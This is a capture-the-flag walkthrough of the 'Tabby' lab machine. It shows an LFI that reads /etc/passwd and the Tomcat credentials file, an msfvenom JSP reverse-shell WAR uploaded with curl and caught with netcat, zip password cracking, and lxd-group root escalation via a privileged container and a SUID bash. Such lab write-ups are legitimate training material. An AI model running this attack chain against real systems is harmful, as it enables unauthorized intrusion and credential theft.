Tabby

Enumeration
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.194 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Mon Mar 21 13:40:10 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.194
Warning: 10.10.10.194 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.194
Host is up (0.41s latency).
Not shown: 53771 filtered tcp ports (no-response), 11761 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
# Nmap done at Mon Mar 21 13:40:50 2022 -- 1 IP address (1 host up) scanned in 39.98 seconds
As we see, port 22 (SSH), port 80 (HTTP), and port 8080 (HTTP) are open. Let's try to obtain more information about the services and versions running on those ports.
nmap -sC -sV -p22,80,8080 10.10.10.194 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Mon Mar 21 13:41:13 2022 as: nmap -sCV -p22,80,8080 -oN targeted 10.10.10.194
Nmap scan report for 10.10.10.194
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 21 13:41:26 2022 -- 1 IP address (1 host up) scanned in 12.21 seconds
Let's try to enumerate the website a bit more with whatweb.
whatweb http://10.10.10.194
http://10.10.10.194 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[sales@megahosting.com,sales@megahosting.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.194], JQuery[1.11.2], Modernizr[2.8.3-respond-1.4.2.min], Script, Title[Mega Hosting], X-UA-Compatible[IE=edge]
Let's add the megahosting.htb
domain, which appears in the email, to the /etc/hosts
file.
nano /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.194 megahosting.htb
Now, let's take a look at the website.

If we take a look at the website on port 8080, we'll see a Tomcat page.

Exploitation
If we hit on the NEWS
button of the home page, we'll be redirected to the news.php
file.

If we take a look at the ULR, we'll see that it has statement
as the value of the file
parameter.
http://megahosting.htb/news.php?file=statement
We can try to make a Local File Inclusion (LFI) attack. If we set the file
parameter to ../../../../../../etc/passwd
, we'll be able to see the /etc/passwd
file of the Tabby machine.
curl -s 'http://megahosting.htb/news.php?file=../../../../../../etc/passwd'
-s
silent mode.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
We know that the user ash
exists. Now that we can list the content of files on the Tabby machine, we could try to enumerate users by listing the content of the tomcat-users.xml
file, which is located in the /usr/share/tomcat9/etc/
folder.
curl -s 'http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml'
-s
silent mode.
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
And we get the tomcat
user and the $3cureP4s5w0rd123!
password. Back to the tomcat web page, we can see that there are two links that in which we can authenticate.

If you try to log in with the credentials we found before to the manager_webapp
link, you will be rejected, but if you try to log into the host-manager_webapp
, you will get in.

Time to get a shell. We'll have to upload a malicious .war
file to the tomcat web page. The problem is that the /host-manager/html
doesn't have an option to upload .war
files. But we can do it with curl. First, let's create the malicious file with msfvenom
.
msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.19 lport=4444 -f war -o shell.war
-p
indicates the type of payload.lhost
local host IP.lport
local port of the listener.-f
output format.-o
save the output to a file.
Payload size: 1092 bytes
Final size of war file: 1092 bytes
Saved as: shell.war
Now let's upload it with curl.
curl -s -u 'tomcat:$3cureP4s5w0rd123!' 'http://10.10.10.194:8080/manager/text/deploy?path=/shell' --upload-file shell.war
OK - Deployed application at context path [/shell]
We can verify that it is uploaded with the following command.
curl -s -u 'tomcat:$3cureP4s5w0rd123!' 'http://10.10.10.194:8080/manager/text/list'
Before executing it, we'll have to set a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
If we now access the /shell
directory, we should get a reverse shell as the tomcat
user on the netcat listener.
http://10.10.10.194:8080/shell/
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.194] 57982
whoami
tomcat
Privilege Escalation
First of all, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
If we take a look at the /var/www/html
we'll see the /files/
folder, which contains a .zip
backup file.
ls -la /var/www/html/files/
total 36
drwxr-xr-x 4 ash ash 4096 Aug 19 2021 .
drwxr-xr-x 4 root root 4096 Aug 19 2021 ..
-rw-r--r-- 1 ash ash 8716 Jun 16 2020 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Aug 19 2021 archive
drwxr-xr-x 2 root root 4096 Aug 19 2021 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16 2020 statement
Let's transfer it to our machine. Set an HTTP server on the victim machine with python.
python3 -m http.server 1234
And download the backup file on our local machine.
wget http://10.10.10.194:1234/16162020_backup.zip
--2022-03-21 20:57:09-- http://10.10.10.194:1234/16162020_backup.zip
Connecting to 10.10.10.194:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8716 (8.5K) [application/zip]
Saving to: ‘16162020_backup.zip’
16162020_backup.zip 100%[=====================================================================================>] 8.51K --.-KB/s in 0.003s
2022-03-21 20:57:09 (2.88 MB/s) - ‘16162020_backup.zip’ saved [8716/8716]
If we now try to unzip it, it will ask for a password.
unzip 16162020_backup.zip
Archive: 16162020_backup.zip
creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:
We can try to break it with john. First, let's covert the backup file to a format that john will understand.
zip2john 16162020_backup.zip > zipjohn
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: TS_chk, cmplen=338, decmplen=766, crc=282B6DE2 ts=7DB5 cs=7db5 type=8
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6 ts=5935 cs=5935 type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: TS_chk, cmplen=2906, decmplen=2894, crc=02F9F45F ts=5D46 cs=5d46 type=0
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: TS_chk, cmplen=114, decmplen=123, crc=5C67F19E ts=5A7A cs=5a7a type=8
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3 ts=6A8B cs=6a8b type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
Now we can break it with john.
john --wordlist=/usr/share/wordlists/rockyou.txt zipjohn
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:06 DONE (2022-03-21 21:03) 0.1531g/s 1586Kp/s 1586Kc/s 1586KC/s adornadis..adj071007
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
And we get the admin@it
password. We could try to become ash
user we found earlier with that password, and we'll be able to get the user flag.
su ash
Password: admin@it
ash@tabby:/var/www/html/files$ whoami
ash
ash@tabby:/var/www/html/files$ cat /home/ash/user.txt
cd60d191aa2ddc55a8c2b8ce8f419b40
If we see which groups the user ash
belongs to, we can see that he belongs to the group lxd
.
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
As the ash user belongs to the lxd
group, there is a way that we can become root. First, let's download the build-alpine
image for lxd on our local machine as the root user.
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2022-03-21 21:50:32-- https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8060 (7.9K) [text/plain]
Saving to: ‘build-alpine’
build-alpine 100%[=====================================================================================>] 7.87K --.-KB/s in 0.006s
2022-03-21 21:50:32 (1.35 MB/s) - ‘build-alpine’ saved [8060/8060]
Then, give it execution permissions, and run it.
chmod +x build-alpine
./build-alpine
This will generate a .tar.gz
file, which we'll have to transfer to the Tabby machine.
python -m http.server 80
Go to the /dev/shm
directory on the victim machine, and download the .tar.gz
file.
wget http://10.10.14.19/alpine-v3.15-x86_64-20220321_2150.tar.gz
--2022-03-21 20:52:02-- http://10.10.14.19/alpine-v3.15-x86_64-20220321_2150.tar.gz
Connecting to 10.10.14.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3233646 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.15-x86_64-20220321_2150.tar.gz’
alpine-v3.15-x86_64-20220321_2150.tar.gz 100%[=====================================================================================>] 3.08M 1.94MB/s in 1.6s
2022-03-21 20:52:04 (1.94 MB/s) - ‘alpine-v3.15-x86_64-20220321_2150.tar.gz’ saved [3233646/3233646]
If we use lxc
to list containers, we'll see that the system can not find the binary because the path is not included on the PATH
variable.
lxc list
Command 'lxc' is available in '/snap/bin/lxc'
The command could not be located because '/snap/bin' is not included in the PATH environment variable.
lxc: command not found
So let's add the path to the PATH
variable.
export PATH=$PATH:/snap/bin
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
Now we can list containers.
lxc list
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
There are no containers. Now the idea is to create a container and mount the root file system into the container. First, let's import the Alpine
image.
lxc image import alpine-v3.15-x86_64-20220321_2150.tar.gz --alias privEscImage
Image imported with fingerprint: c9f637b4f8381d950f69b1afa8505a2fccbf9adabd0dfbc82bfef9a805641793
Then execute the following command, always keeping the default option.
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (zfs, ceph, btrfs, dir, lvm) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
Now let's create a container with the image.
lxc init privEscImage privEscCont -c security.privileged=true
init
action to take, starting a containerprivEscImage
the image to startprivEscCont
the alias for the running container-c security.privileged=true
by default, containers run as a non-root UID. This runs the container as root, giving it access to the host filesystem as root
Creating privEscCont
Now, let's mount the root file system to the /mnt/root
folder of the container.
lxc config device add privEscCont privEscDevice disk source=/ path=/mnt/root
Device privEscDevice added to privEscCont
If we now list the containers, we'll see our privEscCont
, but it is stopped.
lxc list
+-------------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-------------+---------+------+------+-----------+-----------+
| privEscCont | STOPPED | | | CONTAINER | 0 |
+-------------+---------+------+------+-----------+-----------+
Let's start it.
lxc start privEscCont
And get a shell inside the container.
lxc exec privEscCont /bin/sh
~ # whoami
root
~ # hostname
privEscCont
If we go to the /mnt/root
directory, we'll see the entire file system of the Tabby machine.
ls -l /mnt/root
total 84
lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin
drwxr-xr-x 3 root root 4096 Aug 19 2021 boot
drwxr-xr-x 2 root root 4096 Aug 19 2021 cdrom
drwxr-xr-x 5 root root 4096 Apr 23 2020 dev
drwxr-xr-x 100 root root 4096 Sep 7 2021 etc
drwxr-xr-x 3 root root 4096 Aug 19 2021 home
lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32
drwx------ 2 root root 16384 May 19 2020 lost+found
drwxr-xr-x 2 root root 4096 Mar 21 20:53 media
drwxr-xr-x 2 root root 4096 Aug 19 2021 mnt
drwxr-xr-x 3 root root 4096 Aug 19 2021 opt
drwxr-xr-x 2 root root 4096 Aug 19 2021 proc
drwx------ 6 root root 4096 Aug 19 2021 root
drwxr-xr-x 10 root root 4096 Aug 19 2021 run
lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin
drwxr-xr-x 7 root root 4096 Sep 7 2021 snap
drwxr-xr-x 2 root root 4096 Aug 19 2021 srv
drwxr-xr-x 2 root root 4096 Aug 19 2021 sys
drwxrwxrwt 14 root root 4096 Mar 21 21:09 tmp
drwxr-xr-x 14 root root 4096 Apr 23 2020 usr
drwxr-xr-x 14 root root 4096 Aug 19 2021 var
To get a shell as root in to Tabby machine, we could set the SUID permission on the bash binary which is located in the /mnt/root/usr/bin
directory.
chmod u+s /mnt/root/usr/bin/bash
ls -l /mnt/root/usr/bin/bash
rwsr-xr-x 1 root root 1183448 Feb 25 2020 /mnt/root/usr/bin/bash
Now, let's exit the container.
exit
And finally, if we execute bash with the permissions of the owner, we will get a shell as root and all we had to do is reap the harvest and take the root flag.
bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
632945e04c438f179ae1d2048b3f379b
Last updated
Was this helpful?